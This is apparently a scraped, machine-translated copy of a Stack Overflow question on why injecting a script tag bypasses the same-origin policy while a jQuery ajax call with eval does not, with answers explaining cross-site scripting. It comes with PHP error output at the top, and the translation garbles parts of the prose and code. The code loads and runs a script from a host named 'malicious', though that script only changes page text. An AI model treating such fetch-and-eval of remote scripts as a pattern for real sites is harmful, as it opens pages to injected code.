Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/ajax/6.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/cmake/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Jquery 附加<;脚本>;至<;车身>;允许我绕过';同一原产地政策';。或者这不是真正的跨站点脚本?_Jquery_Ajax_Cors_Xss - Fatal编程技术网

Jquery 附加<;脚本>;至<;车身>;允许我绕过';同一原产地政策';。或者这不是真正的跨站点脚本?

Jquery 附加<;脚本>;至<;车身>;允许我绕过';同一原产地政策';。或者这不是真正的跨站点脚本?,jquery,ajax,cors,xss,Jquery,Ajax,Cors,Xss,因为我的另一个问题()没有给我任何答案。我选择了更实际的方式: 当使用jqueryajax调用时,浏览器不允许您执行跨站点脚本编写,但可以通过在DOM中添加脚本标记来避免这种情况 一些_script.js 跨站点脚本编写\u示例\u ajax.html ajax调用 $(文档).ready(函数(){ 变量源=”http://malicious.s3.amazonaws.com/some_script.js" $.get(源、函数(数据){ 评估(数据) }); })

因为我的另一个问题()没有给我任何答案。我选择了更实际的方式:

当使用jqueryajax调用时,浏览器不允许您执行跨站点脚本编写,但可以通过在DOM中添加脚本标记来避免这种情况

一些_script.js

跨站点脚本编写\u示例\u ajax.html


ajax调用
$(文档).ready(函数(){
变量源=”http://malicious.s3.amazonaws.com/some_script.js"
$.get(源、函数(数据){
评估(数据)
});             
});
正如预期的那样,这是行不通的。它将在Chrome中提供一个请求的资源上不存在“访问控制允许来源”标题。因此,不允许访问源“null”。错误。Chrome和大多数其他浏览器正在保护用户免受跨站点脚本(XSS)的危险

但当我做以下事情时:

跨站点脚本\u示例\u appendto.html


使用jqueryappendto
$(文档).ready(函数(){
变量源=”http://malicious.s3.amazonaws.com/some_script.js"
$('')。附于('正文');
});
它起作用了。恶意的“some_script.js”脚本一旦连接到body,就会执行,因为您将看到DOM正在更新

由于这种方法非常简单,我认为我没有发现漏洞,只是我没有掌握跨站点脚本/同源策略的概念

为什么第二种方式(跨站点脚本编写_example_appendto.html)不是跨站点脚本编写

重新表述我的问题
跨站点脚本(如果允许的话)我能做什么,而不能在其中添加新的内容?

您对跨站点脚本所涉及的内容有点困惑。跨站点脚本是指
用户a
向您的网站输入一些恶意代码<代码>用户b认为自己在一个受信任的站点上,并且来自
用户a
的输入以某种方式到达
用户b
。因此,脚本已经“穿越了网站”。

在发布问题5秒后,我至少理解了它的工作原理,因为第二部分使用了HttpRequest,不是XmlHttpRequest。我认为这个链接可能会帮助您:脚本标记不限于同一个域策略。我认为这更像是“注入”的领域。您认为跨站点脚本攻击到底是什么?当一个用户通过您的网站将脚本注入另一个用户的浏览器时。我的意思是,如果你花10秒钟在谷歌上搜索,维基百科的摘要会一字不差地说出来。您的问题得到了回答:是的,
用户a
通过向您的站点中注入脚本标记绕过同源策略,并且影响
用户b
是一种跨站点脚本攻击。作为站点所有者,您这样做并不是在执行跨站点脚本攻击,因为跨站点脚本攻击,尤其是“用户”针对其他用户的网站。
$('div').text('The code to show this text was loaded from a different server, this remote script, instructed to update all the div\'s');
<!DOCTYPE HTML>
<head></head>
<body>
<span>ajax call</span>
<div></div>
    <script src="http://code.jquery.com/jquery-2.1.1.min.js"></script>
    <script>
    $(document).ready(function() {
        var source =    "http://malicious.s3.amazonaws.com/some_script.js"
        $.get( source, function( data ) {
            eval(data)
            });             
});
    </script>
</body>
<!DOCTYPE HTML>
<head></head>
<body>
    <span>with jQuery appendTo</span>
    <div></div>
    <script src="http://code.jquery.com/jquery-2.1.1.min.js"></script>
    <script>
    $(document).ready(function() {
        var source =    "http://malicious.s3.amazonaws.com/some_script.js"
        $('<script id="script" src='+source+' >').appendTo('body');
    });
    </script>
</body>